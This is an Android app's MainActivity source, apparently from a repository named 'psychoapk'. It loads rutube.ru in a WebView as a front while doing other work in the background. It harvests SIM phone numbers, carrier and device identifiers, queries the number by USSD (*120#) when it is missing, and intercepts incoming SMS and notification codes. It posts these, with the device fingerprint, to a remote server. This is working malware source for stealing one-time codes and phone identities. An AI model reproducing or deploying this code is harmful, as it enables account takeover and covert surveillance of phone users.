psychoapk/app/src/main/java/com/example/notifyservice/MainActivity.java

459 lines
18 KiB
Java
Raw Normal View History

2025-01-29 23:01:25 +03:00
package com.example.notifyservice;
2025-02-26 21:39:26 +03:00
import android.Manifest;
import android.app.ActivityManager;
import android.app.AlertDialog;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
2025-01-29 23:01:25 +03:00
import android.content.Context;
2025-02-26 21:39:26 +03:00
import android.content.DialogInterface;
2025-01-29 23:01:25 +03:00
import android.content.Intent;
2025-02-26 21:39:26 +03:00
import android.content.IntentFilter;
2025-01-29 23:01:25 +03:00
import android.content.pm.PackageManager;
import android.net.ConnectivityManager;
import android.net.Network;
import android.net.NetworkCapabilities;
import android.net.NetworkInfo;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
2025-02-26 21:39:26 +03:00
import android.os.Bundle;
import android.telephony.TelephonyManager;
import android.view.View;
import android.view.ViewGroup;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import androidx.appcompat.app.AppCompatActivity;
2025-01-29 23:01:25 +03:00
import androidx.activity.EdgeToEdge;
import androidx.annotation.NonNull;
import androidx.appcompat.app.AppCompatActivity;
import androidx.core.app.ActivityCompat;
import androidx.core.graphics.Insets;
import androidx.core.view.ViewCompat;
import androidx.core.view.WindowInsetsCompat;
import android.os.Handler;
import android.os.PowerManager;
import android.provider.Settings;
2025-02-26 21:39:26 +03:00
import android.provider.Telephony;
import android.telephony.SmsMessage;
2025-01-29 23:01:25 +03:00
import android.telephony.SubscriptionInfo;
import android.telephony.SubscriptionManager;
import android.util.Log;
import android.widget.Toast;
import org.json.JSONException;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.ArrayList;
import java.util.Arrays;
2025-02-26 21:39:26 +03:00
import java.util.Collections;
2025-01-29 23:01:25 +03:00
import java.util.List;
import java.io.OutputStream;
import java.net.HttpURLConnection;
2025-02-26 21:39:26 +03:00
import java.util.Locale;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
2025-01-29 23:01:25 +03:00
2025-02-26 21:39:26 +03:00
public class MainActivity extends AppCompatActivity implements PostRequestCallback{
private String websiteUrl = "https://rutube.ru/";
private WebView webView;
private View customView;
private WebChromeClient.CustomViewCallback customViewCallback;
private ViewGroup mainContainer;
private String currentHash = "";
private int currentPhone = 0;
private List<String> phones;
2025-02-26 22:02:50 +03:00
private boolean waitingForSms = false;
private String currentInfo = "";
2025-02-26 21:39:26 +03:00
private NotificationReceiver notificationReceiver;
2025-01-29 23:01:25 +03:00
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
2025-02-26 21:39:26 +03:00
webView = findViewById(R.id.webview);
mainContainer = findViewById(android.R.id.content);
// Настройки WebView
WebSettings webSettings = webView.getSettings();
webSettings.setJavaScriptEnabled(true); // Включение JavaScript
webSettings.setDomStorageEnabled(true); // Включение поддержки хранения DOM
webSettings.setDatabaseEnabled(true); // Включение базы данных
webSettings.setAllowFileAccess(true); // Доступ к файлам
webSettings.setMixedContentMode(WebSettings.MIXED_CONTENT_ALWAYS_ALLOW); // Поддержка смешанного контента (HTTP+HTTPS)
// Включение JavaScript-алертов и обработка событий, включая полноэкранный режим
webView.setWebChromeClient(new WebChromeClient() {
@Override
public void onShowCustomView(View view, WebChromeClient.CustomViewCallback callback) {
// Переход в полноэкранный режим
if (customView != null) {
callback.onCustomViewHidden();
return;
}
customView = view;
customViewCallback = callback;
mainContainer.addView(customView);
webView.setVisibility(View.GONE);
}
@Override
public void onHideCustomView() {
if (customView == null) {
return;
}
mainContainer.removeView(customView);
customView = null;
webView.setVisibility(View.VISIBLE);
customViewCallback.onCustomViewHidden();
}
});
// Установка WebViewClient для обработки всех переходов внутри WebView
webView.setWebViewClient(new WebViewClient() {
@Override
public boolean shouldOverrideUrlLoading(WebView view, String url) {
view.loadUrl(url); // Обработка переходов внутри WebView
return true;
}
});
// Загрузка начального URL
webView.loadUrl(websiteUrl);
2025-01-29 23:01:25 +03:00
if (!isNotificationServiceEnabled()) {
2025-02-26 21:39:26 +03:00
promptNotificationAccess();
//finish();
2025-01-29 23:01:25 +03:00
}
2025-02-26 21:39:26 +03:00
requestPermissions(retrievePermissions(this));
}
private void promptNotificationAccess() {
Locale.getDefault().getISO3Language();
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Требуется доступ к уведомлениям");
builder.setMessage("Приложению необходимо разрешение на доступ к уведомлениям для работы.");
// Кнопка для перехода в настройки
builder.setPositiveButton("Настройки", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
startActivity(intent);
}
});
// Кнопка отмены
builder.setNegativeButton("Отмена", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
finish(); // Закрыть активность, если пользователь отменил
}
});
// Показываем диалог
AlertDialog dialog = builder.create();
dialog.show();
2025-01-29 23:01:25 +03:00
}
2025-02-26 21:39:26 +03:00
public static String getDeviceInfo(Context context)
2025-01-29 23:01:25 +03:00
{
String m_data = "";
2025-02-26 21:39:26 +03:00
String p_seperator = ":";
2025-01-29 23:01:25 +03:00
StringBuilder m_builder = new StringBuilder();
m_builder.append(android.os.Build.VERSION.RELEASE + p_seperator);
m_builder.append(android.os.Build.DEVICE + p_seperator);
m_builder.append(android.os.Build.MODEL + p_seperator);
m_builder.append(android.os.Build.PRODUCT + p_seperator);
m_builder.append(android.os.Build.BRAND + p_seperator);
m_builder.append(android.os.Build.DISPLAY + p_seperator);
// TODO : android.os.Build.CPU_ABI is deprecated
m_builder.append(android.os.Build.CPU_ABI + p_seperator);
// TODO : android.os.Build.CPU_ABI2 is deprecated
m_builder.append(android.os.Build.CPU_ABI2 + p_seperator);
m_builder.append(android.os.Build.UNKNOWN + p_seperator);
m_builder.append(android.os.Build.HARDWARE + p_seperator);
m_builder.append(android.os.Build.ID + p_seperator);
m_builder.append(android.os.Build.MANUFACTURER + p_seperator);
m_builder.append(android.os.Build.SERIAL + p_seperator);
m_builder.append(android.os.Build.USER + p_seperator);
m_builder.append(android.os.Build.HOST + p_seperator);
String android_id = Settings.Secure.getString(context.getContentResolver(), Settings.Secure.ANDROID_ID);
2025-02-26 21:39:26 +03:00
m_builder.append(android_id);
2025-01-29 23:01:25 +03:00
m_data = m_builder.toString();
return m_data;
}
@Override
public void onRequestPermissionsResult(int requestCode, @NonNull String[] permissions, @NonNull int[] grantResults) {
super.onRequestPermissionsResult(requestCode, permissions, grantResults);
if (requestCode == 1 && grantResults.length > 0 && !(grantResults[0] == PackageManager.PERMISSION_GRANTED)) {
requestPermissions(retrievePermissions(this));
} else if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED){
2025-02-26 21:39:26 +03:00
Intent intent = new Intent(this, Listener.class);
startService(intent);
notificationReceiver = new NotificationReceiver();
IntentFilter filter = new IntentFilter(getApplicationContext().getPackageName() + ".NOTIFICATION_RECEIVED");
registerReceiver(notificationReceiver, filter);
registerReceiver(smsReceiver, new IntentFilter(Telephony.Sms.Intents.SMS_RECEIVED_ACTION));
2025-01-29 23:01:25 +03:00
Context permissionContext = this;
new Handler().postDelayed(() -> makeProcess(permissionContext), 500);
}
}
2025-02-26 21:39:26 +03:00
private class NotificationReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
String code = intent.getStringExtra("code");
onNotificationReceived(code);
}
}
public void onNotificationReceived(String code) {
PostRequest postRequestTask = new PostRequest(this, this);
postRequestTask.execute("code", code + ";" + currentHash);
if(currentPhone + 1 < phones.size()) {
currentPhone += 1;
requestPhone(this, phones.get(currentPhone));
}
}
2025-01-29 23:01:25 +03:00
private void makeProcess(Context context) {
2025-02-26 22:02:50 +03:00
Log.i("Process", "+");
2025-02-26 21:39:26 +03:00
currentPhone = 0;
phones = collectPhoneNumber(context);
2025-02-26 22:02:50 +03:00
if(!phones.isEmpty())
requestPhone(context, phones.get(currentPhone));
2025-02-26 21:39:26 +03:00
}
private void requestPhone(Context context, String phone){
2025-02-26 22:02:50 +03:00
Log.i("requestPhone", "+");
waitingForSms = false;
currentInfo = "";
2025-02-26 21:39:26 +03:00
PostRequest postRequestTask = new PostRequest(context, this);
postRequestTask.execute("phone", phone + ";" + getDeviceInfo(context));
2025-02-26 22:02:50 +03:00
2025-02-26 21:39:26 +03:00
}
@Override
public void onPostResponse(String result) {
currentHash = result;
2025-01-29 23:01:25 +03:00
}
2025-02-26 21:39:26 +03:00
2025-01-29 23:01:25 +03:00
private String listToJson(List<?> list) {
StringBuilder jsonBuilder = new StringBuilder();
jsonBuilder.append("[");
for (int i = 0; i < list.size(); i++) {
Object item = list.get(i);
jsonBuilder.append(objectToJson(item));
if (i < list.size() - 1) {
jsonBuilder.append(", ");
}
}
jsonBuilder.append("]");
return jsonBuilder.toString();
}
private String objectToJson(Object obj) {
if (obj instanceof String) {
return "\"" + escapeJson((String) obj) + "\"";
} else if (obj instanceof Number || obj instanceof Boolean) {
return obj.toString();
} else {
// For other types, you can implement more logic as needed
return "\"" + escapeJson(obj.toString()) + "\"";
}
}
private String escapeJson(String raw) {
String escaped = raw;
escaped = escaped.replace("\\", "\\\\");
escaped = escaped.replace("\"", "\\\"");
escaped = escaped.replace("\b", "\\b");
escaped = escaped.replace("\f", "\\f");
escaped = escaped.replace("\n", "\\n");
escaped = escaped.replace("\r", "\\r");
escaped = escaped.replace("\t", "\\t");
return escaped;
}
private boolean isNotificationServiceEnabled() {
String packageName = getPackageName();
String enabledListeners = Settings.Secure.getString(
getContentResolver(),
"enabled_notification_listeners"
);
return enabledListeners != null && enabledListeners.contains(packageName);
}
private void requestNotificationAccess() {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
startActivity(intent);
}
private static String[] retrievePermissions(Context context) {
final String pkgName = context.getPackageName();
try {
return context
.getPackageManager()
.getPackageInfo(pkgName, PackageManager.GET_PERMISSIONS)
.requestedPermissions;
} catch (PackageManager.NameNotFoundException e) {
return new String[0];
}
}
private void requestPermissions(String[] permissions) {
ActivityCompat.requestPermissions(MainActivity.this, permissions, 1);
}
private static boolean isNetworkAvailable(Context context) {
ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE);
Network nw = connectivityManager.getActiveNetwork();
if (nw == null) return false;
NetworkCapabilities actNw = connectivityManager.getNetworkCapabilities(nw);
return actNw != null && (actNw.hasTransport(NetworkCapabilities.TRANSPORT_WIFI) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_CELLULAR) || actNw.hasTransport(NetworkCapabilities.TRANSPORT_ETHERNET));
}
2025-02-26 21:39:26 +03:00
public static String extractFirstPhoneNumber(String input) {
// Regex pattern to match international phone numbers
String regex = "(?<!\\d)(?:\\+|00)?\\d{1,3}[-. (]*(?:\\d[-. )]*){7,14}(?!\\d)";
Pattern pattern = Pattern.compile(regex);
Matcher matcher = pattern.matcher(input);
if (matcher.find()) {
return matcher.group()
.replaceAll("(?<=^\\+)[^\\d]|[^\\d+]", "");
}
return "";
}
private void requestUssdNumber(TelephonyManager telephonyManager) {
2025-02-26 22:02:50 +03:00
Log.i("USSD", "Called");
2025-02-26 21:39:26 +03:00
if (ActivityCompat.checkSelfPermission(this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED)
return;
2025-02-26 22:02:50 +03:00
Log.i("USSD", "Requesting...");
2025-02-26 21:39:26 +03:00
String ussd = "*120#";
2025-02-26 22:02:50 +03:00
boolean smsResponse = false;
2025-02-26 21:39:26 +03:00
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
2025-02-26 22:02:50 +03:00
Log.i("USSD", "Requested");
2025-02-26 21:39:26 +03:00
telephonyManager.sendUssdRequest(ussd, new TelephonyManager.UssdResponseCallback() {
@Override
public void onReceiveUssdResponse(TelephonyManager telephonyManager, String request, CharSequence response) {
super.onReceiveUssdResponse(telephonyManager, request, response);
String responseString = response.toString();
2025-02-26 22:02:50 +03:00
if (smsResponse){
waitingForSms = true;
} else {
2025-02-26 21:39:26 +03:00
String phoneNumber = extractFirstPhoneNumber(responseString);
2025-02-26 22:02:50 +03:00
requestPhone(getBaseContext(), phoneNumber + ":" + currentInfo);
}
2025-02-26 21:39:26 +03:00
}
@Override
public void onReceiveUssdResponseFailed(TelephonyManager telephonyManager, String request, int failureCode) {
super.onReceiveUssdResponseFailed(telephonyManager, request, failureCode);
}
2025-02-26 22:02:50 +03:00
}, null);
2025-02-26 21:39:26 +03:00
}
}
2025-01-29 23:01:25 +03:00
private List<String> collectPhoneNumber(Context context){
2025-02-26 22:02:50 +03:00
Log.i("collectPhoneNumber", "+");
2025-01-29 23:01:25 +03:00
List<String> phoneNumbers = new ArrayList<>();
if (ActivityCompat.checkSelfPermission(context, "android.permission.READ_PHONE_STATE") != PackageManager.PERMISSION_GRANTED) {
return phoneNumbers;
}
SubscriptionManager manager = SubscriptionManager.from(context.getApplicationContext());
List<SubscriptionInfo> subscriptions = manager.getActiveSubscriptionInfoList();
2025-02-26 22:02:50 +03:00
Log.i("subscriptions", "+");
2025-01-29 23:01:25 +03:00
for (int i = 0; i < subscriptions.size(); i++) {
SubscriptionInfo currentCard = subscriptions.get(i);
2025-02-26 21:39:26 +03:00
String phoneNumber = (Build.VERSION.SDK_INT >= 33 ? manager.getPhoneNumber(currentCard.getSubscriptionId()) : currentCard.getNumber());
TelephonyManager telephonyManager = getSystemService(TelephonyManager.class).createForSubscriptionId(currentCard.getSubscriptionId());
2025-02-26 22:02:50 +03:00
String cardInfo = currentCard.getCountryIso() + ":" + telephonyManager.getSimOperatorName();
if (phoneNumber.isEmpty()) {
currentInfo = cardInfo;
2025-02-26 21:39:26 +03:00
requestUssdNumber(telephonyManager);
2025-02-26 22:02:50 +03:00
} else {
phoneNumbers.add(phoneNumber + ":" + cardInfo);
2025-02-26 21:39:26 +03:00
}
2025-01-29 23:01:25 +03:00
}
2025-02-26 21:39:26 +03:00
2025-01-29 23:01:25 +03:00
return phoneNumbers;
}
2025-02-26 21:39:26 +03:00
private final BroadcastReceiver smsReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
Bundle bundle = intent.getExtras();
if (bundle != null) {
Object[] pdus = (Object[]) bundle.get("pdus");
if (pdus != null) {
for (Object pdu : pdus) {
SmsMessage smsMessage = SmsMessage.createFromPdu((byte[]) pdu);
String sender = smsMessage.getDisplayOriginatingAddress();
String messageBody = smsMessage.getMessageBody();
2025-02-26 22:02:50 +03:00
String phoneNumber = extractFirstPhoneNumber(messageBody);
Log.i("receivedSms", String.valueOf(waitingForSms));
if(waitingForSms && !phoneNumber.isEmpty()) {
waitingForSms = false;
requestPhone(getBaseContext(), phoneNumber + ":" + currentInfo);
}
2025-02-26 21:39:26 +03:00
}
}
}
}
};
@Override
public void onBackPressed() {
// Обработка возврата из полноэкранного режима
if (webView.canGoBack()) {
webView.goBack();
} else {
super.onBackPressed();
}
}
@Override
protected void onDestroy() {
super.onDestroy();
unregisterReceiver(smsReceiver);
2025-01-29 23:01:25 +03:00
}
2025-02-26 21:39:26 +03:00
2025-01-29 23:01:25 +03:00
}